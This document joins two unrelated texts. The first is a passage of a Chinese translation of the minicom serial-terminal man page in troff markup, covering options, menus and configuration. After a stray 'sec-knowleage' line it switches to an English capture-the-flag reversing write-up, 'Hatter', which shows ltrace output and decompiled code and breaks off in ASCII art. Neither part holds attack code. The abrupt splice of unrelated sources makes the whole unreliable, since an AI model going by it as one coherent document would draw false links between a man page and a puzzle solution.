不进行初始化。minicom 将跳过初始化代码。如果你未复位(reset)就退出了
minicom,又想重启一次会话(session), 那么用这个选项就比较爽(不会再有错误
提示:modem is locked ---- 注)。但是也有潜在的危险:由于未对lock文件等进
行检查,因此一般用户可能会与uucp之类的东东发生冲突......也许以后这个参数
会被去掉。现在姑且假定,使用modem的用户对自己的行为足够负责。
.TP 0.5i
.B -m
用Meta或Alt键重载命令键。在1.80版中这是缺省值,也可以在minicom 菜单中配置
这个选项。不过若你一直使用不同的终端,其中有些没有Meta或Alt键,那么方便的
做法还是把缺省的命令键设置为Ctrl-A,当你有了支持Meta或Alt键的键盘时再使用
此选项。Minicom假定你的Meta键发送ESC前缀,而不是设置字符最高位的那一种(见
下)。
.TP 0.5i
.B -M
跟\(lq-m\(rq一样,但是假定你的Meta键设置字符高端的第八位(发送128+字符代码)。
.TP 0.5i
.B -z
使用终端状态行。仅当终端支持,并且在其termcap或terminfo数据库入口中有相关
信息时才可用。
.TP 0.5i
.B -l
.BR 逐字翻译
高位被置位的字符。使用此标志, minicom将不再尝试将IBM行字符翻译为ASCII码,
而是将其直接传送。许多PC-Unix克隆不经翻译也能正确显示它们(Linux使用专门的
模式:Coherent和Sco)。
.TP 0.5i
.B -w
Turns linewrap on at startup by default.
.TP 0.5i
.B -a
.BR 特性使用。
有些终端,特别是televideo终端, 有个很讨厌的特性处理(串行而非并行)。
minicom缺省使用`-a on',但若你在用这样的
终端,你就可以(必须!)加上选项`-a off'。尾字`on'或`off'需要加上。
.TP 0.5i
.B -t
.BR 终端类型。
使用此标志, 你可以重载环境变量TERM, 这在环境变量MINICOM 中使用很方便;
你可以创建一个专门的 termcap 入口以备minicom 在控制台上使用,它将屏幕初始
化为raw模式, 这样, 连同`-f'标志一起,就可以不经翻译而显示IBM行字符。
.TP 0.5i
.B -c
.BR 颜色
使用。有些终端(如Linux控制台)支持标准ANSI转义序列色彩。由于termcap显然没
有对于色彩的支持,因而minicom硬性内置了这些转义序列的代码。所以此选项缺省
为off。使用`-c on'可以打开此项。把这个标志,还有`-m'放入MINICOM环境变量中
是个不错的选择。
.TP 0.5i
.B -S
.BR 脚本。
启动时执行给定名字的脚本。到目前为止,还不支持将用户名和口令传送给启动脚
本。如果你还使用了`-d'选项,以在启动时开始拨号,此脚本将在拨号之前运行,
拨号项目入口由`-d'指明。
.TP 0.5i
.B -d
.BR D ial
an entry from the dialing directory on startup. You can specify an
index number, but also a substring of the name of the entry. If you
specify a name that has multiple entries in the directory, they are all
tagged for dialing. You can also specify multiple names or index numbers
by separating them with commas. The dialing will start from the first
entry specified after all other program initialization procedures are
completed.
.TP 0.5i
.B -p
.BR 要使用的伪终端。
它超载配置文件中定义的终端端口,但仅当其为伪tty设备。提供的文件名必须采用
这样的形式: (/dev/)tty[p-z][0-f]
.TP 0.5i
.B -C
.BR 文件名。
启动时打开捕获文件。
.TP 0.5i
.B -8
不经修改地传送8位字符。\(lq连续\(rq意指未对地点/特性进行真正改变,就不插
入地点/特性控制序列。此模式用于显示8位多字节字符,比如日本字(TMD!应该是
中国字!!)。不是8位字符的语言都需要(例如显示芬兰文字就不需要这个)。
.PP
.RS 0.5i
.B minicom
启动时,它首先搜索用于命令行参数的MINICOM环境变量----这些参数可在命令行上
超载。例如:若你进行了如下设置:
.PP
.RS 0.5i
.PD 0
MINICOM='-m -c on'
.PP
export MINICOM
.PP
.PD 1
.PP
.RE
或者其它等效的设置,然后启动minicom,minicom 会假定你的终端有Meat键或Alt
键,并且支持彩色。如果你从一个不支持彩色的终端登录,并在你的启动文件
(.profile或等效文件)中设置了MINICOM,而且你又不想重置你的环境变量,那么你
就可以键入`minicom -c off',来运行这次没有色彩支持的会话。
.RE
.TP 0.5i
.B 配置
The
.I 配置
参数更有趣。通常,minicom从文件\(lqminirc.dfl\(rq中获取其缺省值。不过,若
你给minicom一个参数,它将尝试从文件\(lqminirc.configuration\(rq中获取缺省
值。因此,为不同端口、不同用户等创建多个配置文件是可能的。最好使用设备名,
如:tty1,tty64,sio2等。如果用户创建了自己的配置文件,那么该文件将以
\(lq.minirc.dfl\(rq为名出现在他的home目录中。
.SH "使用 USE"
Minicom是基于窗口的。要弹出所需功能的窗口,可按下Ctrl-A (以下使用C-A来表
示Ctrl-A),然后再按各功能键(a-z或A-Z)。先按C-A,再按'z',将出现一个帮助窗
口,提供了所有命令的简述。配置minicom(-s 选项,或者C-A、O)时,可以改变这
个转义键,不过现在我们还是用Ctrl-A吧。
.PP
.PD 0
以下键在所有菜单中都可用:
.TP 0.75i
.B UP
arrow-up 或 'k'
.TP 0.75i
.B DOWN
arrow-down 或 'j'
.TP 0.75i
.B LEFT
arrow-left 或 'h'
.TP 0.75i
.B RIGHT
arrow-right 或 'l'
.TP 0.75i
.B CHOOSE
Enter
.TP 0.75i
.B CANCEL
ESCape.
.PD 1
.PP
屏幕分为两部分:上部24行为终端模拟器的屏幕。 ANSI或VT100转义序列在此窗口
中被解释。若底部还剩有一行,那么状态行就放在这儿;否则,每次按C-A时状态行
出现。 在那些有专门状态行的终端上将会使用这一行,如果termcap信息完整且加
了-k标志的话。
.PP
.PD 0
下面按字母顺序列出可用的命令:
.TP 0.5i
.B C-A
两次按下C-A将发送一个C-A命令到远程系统。如果你把\(lq转义字符\(rq换成了
C-A以外的什么字符,则对该字符的工作方式也类似。
.TP 0.5i
.B A
切换\(lqAdd Linefeed\(rq为on/off。若为on,则每上回车键在屏幕上显示之前,
都要加上一个linefeed。
.TP 0.5i
.B B
为你提供一个回卷(scroll back)的缓冲区。可以按u上卷,按d下卷,按b上翻一页,
按f下翻一页。也可用箭头键和翻页键。可用s或S键(大小写敏感)在缓冲区中查找文
字串,按N键查找该串的下一次出现。按c进入引用模式,出现文字光标,你就可以
按Enter键指定起始行。然后回卷模式将会结束,带有前缀'>'的内容将被发送。
.TP 0.5i
.B C
清屏。
.TP 0.5i
.B D
拨一个号,或转向拨号目录。
.TP 0.5i
.B E
切换本地回显为on/off (若你的minicom版本支持)。
.TP 0.5i
.B F
将break信号送modem。
.TP 0.5i
.B G
运行脚本(Go)。运行一个登录脚本。
.TP 0.5i
.B H
挂断。
.TP 0.5i
.B I
切换光标键在普通和应用模式间发送的转义序列的类型(另参下面 关于状态行的注释)。
.TP 0.5i
.B J
跳至shell。返回时,整个屏幕将被刷新(redrawn)。
.TP 0.5i
.B K
清屏,运行kermit,返回时刷新屏幕。
.TP 0.5i
.B L
文件捕获开关。打开时,所有到屏幕的输出也将被捕获到文件中。
.TP 0.5i
.B M
发送modem初始化串。若你online,且DCD线设为on,则modem被初始化前将要求你进行确认。
.TP 0.5i
.B O
配置minicom。转到配置菜单。
.TP 0.5i
.B P
通信参数。允许你改变bps速率,奇偶校验和位数。
.TP 0.5i
.B Q
不复位modem就退出minicom。如果改变了macros,而且未存盘,会提供你一个save的机会。
.TP 0.5i
.B R
接收文件。从各种协议(外部)中进行选择。若filename选择窗口和下载目录提示可
用,会出现一个要求选择下载目录的窗口。否则将使用Filenames and Paths菜单中
定义的下载目录。
.TP 0.5i
.B S
发送文件。选择你在接收命令中使用的协议。如果你未使文件名选择窗口可用(在
File Transfer Protocols菜单中设置),你将只能在一个对话框窗口中写文件名。
若将其设为可用,将弹出一个窗口,显示你的上传目录中的文件名。可用空格键为
文件名加上或取消标记,用光标键或j/k键上下移动光标。被选的文件名将高亮显示。
目录名在方括号中显示,两次按下空格键可以在目录树中上下移动。最后,按
Enter发送文件,或按ESC键退出。
.TP 0.5i
.B T
选择终端模拟:ANSI(彩色)或VT100。此处还可改变退格键,打开或关闭状态行。
.TP 0.5i
.B W
切换linewrap为on/off。
.TP 0.5i
.B X
退出minicom,复位modem。如果改变了macros,而且未存盘,会提供 你一个save的机会。
.TP 0.5i
.B Z
弹出help屏幕。
.PD 1
.SH "拨号目录 DIALING DIRECTORY"
按下Ctrl-A、D,会进入拨号目录。可以增减、删除或修改各个项目。选择
\(lqdial\(rq,则会拨打标记项目的电话号码,或者当未作任何标记时高亮显示的
项目号码。modem拨号时,可按ESC取消;任何其它按键将关闭拨号窗口,但并不取
消拨号。拨号目录将保存在你的home目录下的\(lq.dialdir\(rq 文件中。 可用箭
头键可以上下卷动, 但也可用PageUp或PageDown键卷动整页。若没有这些键,可用
Ctrl-B(向后),以及Ctrl-F(向前)。可用空格键标记多个项目,若minicom不能建立
一个连接,它将在此列表中循环进行拨号。目录中标记项目的名字前将显示一个
`>'符号。
.PP
"edit" 菜单不言自明,但这里还是简要介绍一下。
.PD 0
.TP 1.0i
.B A - Name
项目名
.TP 1.0i
.B B - Number
电话号码
.TP 1.0i
.B C - Dial string #
指出用于连接的拨号串。在Modem and dialing菜单中有三种不同的拨号串(前缀和后缀)可以进行设置。
.TP 1.0i
.B D - Local echo
可为on或off(若你的minicom版本支持)
.TP 1.0i
.B E - Script
成功建立连接后必须执行的脚本(参runscript手册)
.TP 1.0i
.B F - Username
传给runscript程序的用户名。在环境串"$LOGIN"中传送。
.TP 1.0i
.B G - Password
传送为"$PASS"的口令。
.TP 1.0i
.B H - Terminal Emulation
使用ANSI或VT100模拟。
.TP 1.0i
.B I - Backspace key sends
退格键发送的代码(Backspace或Delete)。
.TP 1.0i
.B J - Linewrap
可为on或off。
.TP 1.0i
.B K - Line settings
本次连接的bps速率,位数和奇偶设置。速率可选当前值,这样就能用当时正在使用
的任何速率值(当你有多个modem时,这玩儿很有用)。
.TP 1.0i
.B L - Conversion table
可以指定运行login脚本前,此拨号项目应答的任何时候要装入的字符转换表。若此
域为空,则转换表保持不变。
.PP
.PD 1
edit 菜单还显示了你最近一次呼叫此项的日期和时间,及呼叫该项的总次数。但并
不允许你改变这些值。当你进行连接时,它们会自动更新。
.PD 1
.PP
The moVe command lets you move the highlighted entry up or down in the
dialing directory with the up/down arrow keys or the k and j keys. Press
Enter or ESC to end moving the entry.
.PP
.SH "配置 CONFIGURATION"
按Ctrl-A、O,进入setup菜单。人人都可以改变其中的多数设置,但有些仅限于
root。在此,那些特权设置用星号(*)标记。
.PP
.PD 0
.B "Filenames and paths"
.PP
.RS 0.25i
此菜单定义你的缺省目录。
.TP 0.5i
.B A - Download directory
下载的文件的存放位置
.TP 0.5i
.B B - Upload directory
从此处读取上传的文件
.TP 0.5i
.B C - Script directory
存放login脚本的位置
.TP 0.5i
.B D - Script program
作为脚本解释器的程序。缺省是\(lqrunscript\(rq,也可用其它的东东(如:
/bin/sh 或 "expect")。Stdin和Stdout连接到modem,Stderr连接到屏幕。
.RS 0.5i
若用相对路径(即不以'/'开头),则是相对于你的home目录,除了脚本解释器以外。
.RE
.TP 0.5i
.B E - Kermit program
为kermit寻找可执行程序和参数的位置。命令行上可用一些简单的宏:`%1'扩展为
拨出设备的完整文件名,`%b'扩展为当前波特率。
.TP 0.5i
.B F - Logging options
Options to configure the logfile writing.
.RS 0.5i
.PD 1
.TP 0.5i
.B A - File name
Here you can enter the name of the logfile. The file will be written in
your home directory, and the default value is "minicom.log".
If you blank the name, all logging is turned off.
.TP 0.5i
.B B - Log connects and hangups
This option defines whether or not the logfile is written when the remote
end answers the call or hangs up. Or when you give the hangup command
yourself or leave minicom without hangup while online.
.TP 0.5i
.B C - Log file transfers
Do you want log entries of receiving and sending files.
.RE
The 'log' command in the scripts is not affected by logging options B and C.
It is always executed, if you just have the name of the log file defined.
.RE
.PD 1
.PP
.B "File Transfer Protocols"
.PD 0
.PP
.RS 0.25i
此处规定的协议将在按下Ctrl-A、s/r时显示。行首的\(lqName\(rq为将要显示在菜
单中的名字。\(lqProgram\(rq为协议路径,其后的\(lqName\(rq则确定了程序是否
需要参数,如要传送的文件。\(lqU/D\(rq确定了该项要否在
\(lqupload/download\(rq菜单中出现。\(lqFullscr\(rq确定要否全屏运行,否则
mincom将仅在一个窗口中显示其标准输出。 \(lqIO-Red\(rq 确定minicom要否将程
序的标准io连接到modem端口。\(lqMulti\(rq告诉文件名选择窗口协议能否用一个
命令发送多上文件。它对于下载协议无效;如果你不用文件名选择窗口,那么上传
协议也会忽略它。老版本的sz和rz非全屏,并且设置了IO-Red。但是,有些基于
curses的版本,至少是rz,不希望其stdin和stdout被改向, 以及全屏运行。 所有
文件传输协议都以用户的UID运行,但并不是总有UID=root。对于kermit,命令行上
可用'%l' 和 '%b'。在此菜单内,你还能规定当提示文件要上传时,要否文件选择
窗口,以及每次自动下载开始时要否提示下载目录。如果禁止下载目录提示,将使
用file and directory菜单中规定的下载目录。
.RE
.PD 1
.PP
.B "串口设置 erial port setup"
.RS 0.25i
.PD 0
.TP 0.5i
.B *A - 串行设备
多数人用 /dev/tty1 或 /dev/ttfS1。Linux 下仍然可以使用/dev/cua<n>,但是不
推荐这样作,因为这些借口都过时了,使用2.2.x 或 更新的内核的系统中没有它们,
可以使用 /dev/ttyS<n> 来代替。你也可以使 /dev/modem 成为一个指向实际设备
的链接。
.br
如果你有多个modem连接到两个或以上的串口,可以在这儿列表指定,用空格、逗号
或者分号作为分隔符。minicom启动时,检查此列表直至发现有可用的modem,并使
用之。(不过,你不能为它们指定不同的初始化串....至少现在不能)
.TP 0.5i
.B *B - Lock 文件位置
多数系统上,这应该是 /usr/spool/uucp。Linux系统则使用var/lock。若此目录不
存在,minicom将不会试图使用lock 文件。
.TP 0.5i
.B *C - Callin program
若你的串口上有uugetty设备或别的什么,可能你就需要运行某个程序以把modem的
cq端口切换到dialin/dialout模式。这就是进入dialin模式所需的程序。
.TP 0.5i
.B *D - Callout program
这是进入dialout模式所用的程序。
.TP 0.5i
.B E - Bps/Par/Bits
启动时的缺省参数。
.PD 1
.PP
如果其中某一项为空,它就不会被使用。因此若你并不在意locking,你的
modemline上也没有getty在运行,项目 B - D 就应该空着。注意!有效用户ID
"root"(也就是 0 )才能运行callin和callout。
.RE
.PP
.B "Modem and Dialing"
.PD 0
.PP
.RS 0.25i
modem的参数在此处定义。我不再进一步解释了,因为缺省是用于genericHayes
modems,这应该总能正常工作的。这个文件可不是Hayes的学习指导:-)唯一值得注
意的是,控制字符可以用加前缀`^'的方式发送,其中`^^'指`^'本身,`\'字符必须
双写为`\\',因为反斜线在宏定义中有特殊意义。不过有些选项,跟modem没多大关
系,倒是与minicom自己的行为关系不少:
.PP
.TP 0.5i
.B M - Dial time
当未建立连接,minicom超时前的秒数。
.TP 0.5i
.B N - Delay before redial
若未建立连接,minicom将重新拨号,不过先要等待一段时间。
.TP 0.5i
.B O - Number of tries
minicom试图拨号的最大次数。
.TP 0.5i
.B P - Drop DTR time
此项设为0时,minicom通过发送一个Hayes类型的hanup序列进行挂断。若设为非0值,
则通过放弃DTR line来挂断。该值指定了结束DTR要经历的秒数。
.TP 0.5i
.B Q - Auto bps detect
设为on时,minicom尝试匹配被呼叫方的速度。但多数现代的modem并不需要这个选
项,因为modem对数据进行了缓冲,转换了速度。
.TP 0.5i
.B R - Modem has DCD line
如果你的modem和操作系统灰支持DCD line(建立连接后它就升\(lq高\(rq了),那么
minicom就会使用它。 When you have this option on, minicom will also NOT
start dialing while you are already online.
.TP 0.5i
.B S - Status line shows DTE speed / line speed
你可以切换状态行或者显示DTE速度(minicom与你的modem通信的速度)或者显示线
速度(你的modem与其它modem在线上通信的速度),注意连接期间线速度可能会变
化,但你将仍然只能看到modem启动连接时的初始速度。这是因为modem并不告诉程
序速度有否改变。而且,要看到线速度,你需要在连接字串中进行设置,以使
modem显示它。否则,你将只能看到一个值为0的线速度。
.TP 0.5i
.B T - Multi-line untag
You can toggle the feature to untag entries from the dialing directory when
a connection is established to a multi-line BBS. All the tagged entries that
have the same name are untagged.
.PD 1
.PP
.RE
.RS 0.5i
.B 注意此菜单还是个特例:每个用户都可在此改变参数,但它们不会被保存。
.RE
.PP
.B "Screen and keyboard"
.RS 0.25i
.PD 0
.TP 0.5i
.B A - Command key is
进入命令模式的热键。若将其设为`Alt'或`Meta'键,你就可以直接用Alt-key调用命令,而不是用HotKey-key。
.TP 0.5i
.B B - Backspace key sends
仍然有些系统需要VT100来发送DEL而非BS。使用此选项,你就能干那件蠢事了。(我倒!甚至缺省值就是on!)
.TP 0.5i
.B C - Status line is
打开或关闭。一些慢的终端(如X-terminals)在卷动的时候,会使状态行\(lq上蹿下跳\(rq,所以需要时可以将状态行关闭。命令模式下仍会被显示。
.TP 0.5i
.B D - Alarm sound
若打开,minicom会在成功连接,以及上传/下载完成后发出报警声。
.TP 0.5i
.B E - Foreground Color (menu)
指定所有的minicom配置窗口使用的前景色。
.TP 0.5i
.B F - Background Color (menu)
指定所有的minicom配置窗口使用的背景色。注意:minicom不允许你将前/背景色设为相同值。
.TP 0.5i
.B G - Foreground Color (term)
指定在终端窗口中使用的前景色。
.TP 0.5i
.B H - Background Color (term)
指定在终端窗口中使用的背景色。注意:minicom不允许你将前/背景色设为相同值。
.TP 0.5i
.B I - Foreground Color (stat)
指定在状态行中使用的前景色。
.TP 0.5i
.B J - Background Color (stat)
指定在状态行中使用的背景色。注意:minicom允许你将状态行的前/背景色设为相同值。这实际上会隐藏状态行,不过如果你有意这样是做,可以参考这个选项。
.TP 0.5i
.B K - History buffer size
历史缓冲区中保存的行数(用于回卷)。
.TP 0.5i
.B L - Macros file
保存有macros的文件的完整路径。macros允许你定义当按下某一个键时被发送的字
符串。minicom中,可定义F1到F10,发送多达256个字符。(这在编译时被确定了)。
一按下Enter,就会检验你指定的文件名。 若你无权建立指定的文件,会有个错误
信息为你指出,然后将你不得不重新编辑文件名。若可以建立该文件,minicom会去
检查它是否已经存在, 若存在,就假定它是个macro文件并读入;否则,哈,那是
你的问题了:-) 如果此文件不存在,就接受此文件名。
.TP 0.5i
.B M - Edit Macros
打开一个新窗口,允许你在此编辑F1到F10的宏。
.TP 0.5i
.B N - Macros enabled
是/否。若允许macro,则F1-F10键将发送VT100/VT200的功能键转义序列。
.TP 0.5i
.B O - Character conversion
在此显示激活的转换表文件名,若看不到,则表明尚未有活动的转换表。按下0,可以看到转换表编辑菜单。
.RS 0.5i
.PD 1
.TP 0.25i
.B "Edit Macros"
F1到F10的宏在此定义。窗口底部以图例显示有特殊意义的字符组合。允许以`^'为
前缀加普通文本的方式输入控制字符,其中`^^'表示`^'自身。可用`^~'代码发送1
秒的延迟。当你ftp或telnet某地址后,试图login时,它很有用。还可以从拨号目
录中加上你的当前用户名和口令,分别用`\u'和`\p'表示。若需要在macro中用反斜
线字符,应双写为`\\'。要编辑一个macro,按下相应数字(或字母如F10),则光标
移到macro的末尾。编辑该行时,可用左右箭头,Home和End键,Del和BackSpace键,
以及ESC和回车键。ESC取消所做的任何修改,回车则接受之。
.PD 1
.TP 0.25i
.B "Character conversion"
此处可编辑字符转换表。如果你不是美国人,你该知道,许多语言中的字符并不包
括在ASCII字符集中,过去也许是用它们替换了ASCII表中不太重要的字符,现在则
常常用大于127的字符代码表示。其实有许多表示这些字符的方法。这儿正是为那些
使用不同于你的计算机字符集的系统编辑转换表的地方,
.TP 0.5i
.B A \- Load table
你可能已经猜出来了。此命令从磁盘中装入转换表。将询问你表的文件名。
预定义的表.mciso,.mcpc8及.mcsf7应包含在程序中。表.mciso 并不进行
转换,.mcpc8用于连接使用8位pc字符集的系统,.mcsf7 则用于兼容很老式
的7位编码的系统, 这种7位码用芬兰语和瑞典语的区分字符置换了字
符 {|}[]。
.TP 0.5i
.B B \- Save table
以指定文件名保存活动的转换表。
.TP 0.5i
.B C \- edit char
这里可对现存的表自行修改。首先将询问你要修改的转换的字符值(十进制);接着
你要指出从外部接收的字符在屏幕上显示为何者。然后询问你当按下键盘上的那个
键时,你要发送什么。
.TP 0.5i
.B D \- 下一屏
.TP 0.5i
.B E \- 前一屏
不错,可能你注意到了这一屏显示了活动转换的种类。屏幕(通常)太小了,没法用一种简单易懂的格式来一次显示整个表。你可以用此来做右卷动转换表。
.TP 0.5i
.B F \- convert capture
切换当写入捕获文件时是否使用转换表。
.RE
.RE
.PD 1
.TP 0.25i
.B "Save setup as dfl"
保存参数,作为下一次启动程序时的缺省值。除了dfl,其它参数名都会出现,这取决于下次启动程序时会用哪一个。
.TP 0.25i
.B "Save setup as.."
以指定名字保存参数。只要以此名为参项启动minicom,它就会用这些参数。当然只有root有使用这个选项的特权。
.TP 0.25i
.B "Exit"
不保存退出此菜单。也可按ESC键。
.TP 0.25i
.B "Exit from minicom"
只有root才会看到这个菜单项 \-\-\-\- 如果启动 minicom 时用了选项`-s'的话。这样,就可以在实际上并未运行minicom的情况下,修改其配置。
.PD 1
.SH "状态行 STATUS LINE"
状态行上有好几个指示器,其意义不言自明。可能需要解释一下奇怪的APP和NOR指
示器。VT100的光标键可有两种模式:应用模式和光标模式。这由一个转义序列来控
制。当你用minicom登录后,如果发现光标键不能工作,比如在vi中,这时你就可以
用此指示器来查看光标键是在应用模式中,还是在光标模式中。可以用Ctrl-A、I来
切换。如果那这时光标键能工作,可能是远程系统的termcap初始化串发生了错误。
.PD 1
.SH "本地化 LOCALES"
现在minicom已经支持本地语言。这就是说,你可以通过设置环境变量LANG,把多数
的英文消息及其它字串转变为其它语言。到1998年7月,已经支持巴西葡萄牙语、芬
兰语和日本语。对土耳其语的支持在建。
.PD 1
.SH "安全问题 SECURITY ISSUES"
由于minicom在一些计算机上以root运行,可能你要限制对它的使用。可以通过在缺
省文件目录中使用一个叫\(lqminicom.users\(rq的配置文件来实现。该文件的句法
如下:
.PP
.RS 0.5i
<username> <configuration> [configuration...]
.RE
.PP
为了允许用户`miquels'使用缺省配置,可在\(lqminicom.users\(rq中输入下行:
.PP
.RS 0.5i
miquels dfl
.RE
.PP
如果你想让用户使用比缺省值更多的配置,那么在用户名下面加上那些配置的名字即可。若用户名后未给出配置,则minicom假定该用户可以使用所有配置。
.PD 1
.SH "杂项 MISC"
若 minicom 被挂起,则可用 SIGTERM 来 kill之(即kill -15,或者,既然
sigterm为缺省值,干脆\(lqkill 在复位等动作后安全退出 minicom 。 还可以不
挂断线路, 用带命令\(lq! killall -9 minicom\(rq的脚本来kill minicom。若没
有使用参数-9,则minicom会先挂断,再退出。
.PP
因为许多转义序列以ESC开头(上箭头为ESC[A),所以minicom无法知道它获得的ESC字符是你按下的ESC键,还是某一转义序列的一部分。
.PP
minicom的一个老版本,V1.2,以一种相当拙劣的方式解决此问题:要获得ESC键,你得把它按
.IR 两次。
.PP
这在1.3版中就好一点儿了:现在内置了1秒超时,象在vi中的一样。在有select()
系统调用的系统中,超时为0.5秒。而且....奇怪吧:还加了一个Linux相关的专用
hack :-) 现在,minicom可以区分ESC键和转义序列了。要知其中猫腻,请参
wkeys.c。不过它干得确实不错!
.SH "文件 FILES"
minicom将其配置文件保存在一个目录中,通常是:/var/lib/minicom,
/usr/local/etc或者/etc。要想知道minicom编译时内定的缺省目录,可用命令
\(lqminicom -h\(rq,在那儿你可能还会找到runscript(1)的demo文件, and the
examples of character conversion tables either there or in the
subdirectories of /usr/doc/minicom*. The conversion tables are named
something like mc.* in that directory, but you probably want to copy the
ones you need in your home directory as something beginning with a dot.
.sp 1
.nf
minicom.users
minirc.*
$HOME/.minirc.*
$HOME/.dialdir
$HOME/minicom.log
/usr/share/locale/*/LC_MESSAGES/minicom.mo
.fi
.SH "版本 VERSION"
Minicom is now up to version 2.00.0.
.SH "作者 AUTHOR"S
minicom 原创作者为 Miquel van Smoorenburg (miquels@cistron.nl).
He wrote versions up to 1.75.
.br
Jukka Lahtinen (walker@clinet.fi, walker@megabaud.fi)
负责1.78以上的新版本,由以下人士协助:
.br
filipg@paranoia.com 为V1.79编写历史缓冲区搜索程序。
.br
Arnaldo Carvalho de Melo (acme@conectiva.com.br) 完成国际化和巴西葡萄牙语的翻译。
.br
Jim Seymour (jseymour@jimsun.LinxNet.com) 编写多modem支持,以及V1.80版以来使用的文件名选择窗口。
.br
Tomohiro Kubota (kubota@debian.or.jp) 编写日文翻译及引用程序,并进行了一些更正。
.br
Gael Queri (gqueri@mail.dotcom.fr) 编写法语翻译。
.br
Arkadiusz Miskiewicz (misiek@pld.org.pl) wrote the Polish translations.
.br
Kim Soyoung (nexti@chollian.net) wrote the Korean translations.
.PP
本man page中的内容多拷贝自minicom的原始README,作了几处更正。其中有些内容及更正由Michael K.Johnson (johnsonm@stolaf.edu) 完成。
.PP
Jukka Lahtinen (walker@clinet.fi) 加上了1.75版以后的一些变动信息。
.SH "[中文版维护人]"
.B 范逊
.SH "[中文版最新更新]"
.B 2000.2.28
.SH "《中国linux论坛man手册页翻译计划》:"
.BI http://cmpp.linuxforum.net
|
sec-knowleage
|
# Hatter
Category: Reversing, 500 Points
## Description
> Hello agent!
>
> According to our intelligence, the organization’s engineers are celebrating their evil inventions by having a party in which everyone is wearing the same crazy hat.
>
> We must send agent to the party to find out what they’re up to. The only way for you to get in is by wearing the same hat as them. Our intelligence has located the store on which the organization bought the hats from, but the store was empty and contained a note:
>
> "Hello fellas, this is the hatter! I’m attending a special event and will be back in a few days. If you wish to talk to me, you can find me at… well.. check out this file".
>
> Note: The flag does not adhere to the usual format.
>
A binary file was attached.
## Solution
Let's run the attached binary:
```console
root@kali:/media/sf_CTFs/matrix/Hatter# ./hatter
find_thE_hAttEr
```
Indeed, we will. Maybe `ltrace` might give us a hint as to what the program is doing under the hood:
```console
root@kali:/media/sf_CTFs/matrix/Hatter# ltrace ./hatter
getenv("DEBUG") = nil
getenv("WHERE_IS_THE_HATTER") = nil
getenv("SHOW_PASSWORD") = nil
getenv("DUMP_DEBUG_DATA") = nil
putchar(102, 0x511373df0155593f, 7, 0) = 102
putchar(105, 0x511373df0155593f, 6, 1) = 105
putchar(110, 0x511373dc02010f01, 2, 2) = 110
putchar(100, 0x511373de00012841, 0, 3) = 100
putchar(95, 0x511373da046d0142, 1, 4) = 95
putchar(116, 0x511373de00012841, 6, 5) = 116
putchar(104, 0x511373dc02010f01, 0, 6) = 104
putchar(69, 0x511373db050b7a72, 4, 7) = 69
putchar(95, 0x511373da046d0142, 1, 8) = 95
putchar(104, 0x511373dc02010f01, 0, 9) = 104
putchar(65, 0x511373de00012841, 5, 10) = 65
putchar(116, 0x511373de00012841, 6, 11) = 116
putchar(116, 0x511373de00012841, 6, 12) = 116
putchar(69, 0x511373db050b7a72, 4, 13) = 69
putchar(114, 0x511373df0155593f, 5, 14) = 114
putchar(10, 255, 255, 15find_thE_hAttEr
) = 10
+++ exited (status 0) +++
```
We see that the program queries some environment variables, then prints the message character by character. We can try setting these variables but let's take a look at the Ghidra output first to see if there's an expected value. This is the main function:
```c
undefined8 main(int argc,undefined8 param_2)
{
undefined8 local_38;
undefined8 local_30;
undefined8 local_28;
undefined8 local_20;
undefined8 local_18;
int num_args;
undefined4 local_c;
local_c = 0;
local_38 = 0x20206010701;
local_30 = 0x405000206000104;
local_28 = 0x600050000020104;
local_20 = 0xffff050104050600;
local_18 = param_2;
num_args = argc;
read_env_vars();
if (g_env_show_pass == '\x01') {
handle_show_pass();
}
if (g_env_where_hatter == '\x01') {
handle_where_hatter();
}
else {
if (g_env_dump_debug == '\x01') {
handle_dump_debug();
}
else {
if (num_args == 1) {
handle_no_args((char *)&local_38);
}
else {
handle_some_args();
}
}
}
return 0;
}
```
We can see that it starts by reading the environment variables:
```c
void read_env_vars(void)
{
char *pcVar1;
pcVar1 = getenv("DEBUG");
g_env_debug = pcVar1 != (char *)0x0;
pcVar1 = getenv("WHERE_IS_THE_HATTER");
g_env_where_hatter = pcVar1 != (char *)0x0;
pcVar1 = getenv("SHOW_PASSWORD");
g_env_show_pass = pcVar1 != (char *)0x0;
pcVar1 = getenv("DUMP_DEBUG_DATA");
g_env_dump_debug = pcVar1 != (char *)0x0;
return;
}
```
If the variables are set, global flags get raised.
We can try to see what happens when each of the flags is set:
```console
root@kali:/media/sf_CTFs/matrix/Hatter# export DEBUG=1
root@kali:/media/sf_CTFs/matrix/Hatter# ./hatter
Enter "pRnTE"
find_thE_hAttEr
root@kali:/media/sf_CTFs/matrix/Hatter# unset DEBUG
root@kali:/media/sf_CTFs/matrix/Hatter# export WHERE_IS_THE_HATTER=1
root@kali:/media/sf_CTFs/matrix/Hatter# ./hatter
in ordEr to find thE hAttEr YoU hAvE to find ALL thE 6 LinE5
root@kali:/media/sf_CTFs/matrix/Hatter# unset WHERE_IS_THE_HATTER
root@kali:/media/sf_CTFs/matrix/Hatter# export SHOW_PASSWORD=1
root@kali:/media/sf_CTFs/matrix/Hatter# ./hatter
MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM
MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM
MMMMMMMMMMMMMMMMMMMMMMMMMMWWWWWNWWWWWMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM
MMMMMMMMMMMMMMMMWd,..... .............',;cloxO0XWMMMMMMMMMMMMMMMMMMMMMMMMM
MMMMMMMMMMMMMMWd..o00KKXXNNWN0kO0OOOOOOOkkkkOkxdoc,,. .';lxNMMMMMMMMMMMMMMMMMMM
MMMMMMMMMMMMMX' dWMMMMMMMXkxx0WMWXXKXXNMWNX000000000Ok0Oxo;. ;OMMMMMMMMMMMMMMMMM
MMMMMMMMMMMMK..KMMMMMMWOkOW0xxxkkO0K0OkkO0KKKKK0OOkkkO0XN0dW0: .xWMMMMMMMMMMMMMM
MMMMMMMMMMMK..XMMMMMKOONOxxxkk0KK0OOO0NMMMMMWNNNNWWWWMMMMMNWMMXc .kMMMMMMMMMMMMM
MMMMMMMMMMN..KMMMMK0XWxd00dxKWMMMMMMNoNMMMMMMMM0dxxkkOKXOxXMMMMMK' dMMMMMMMMMMMM
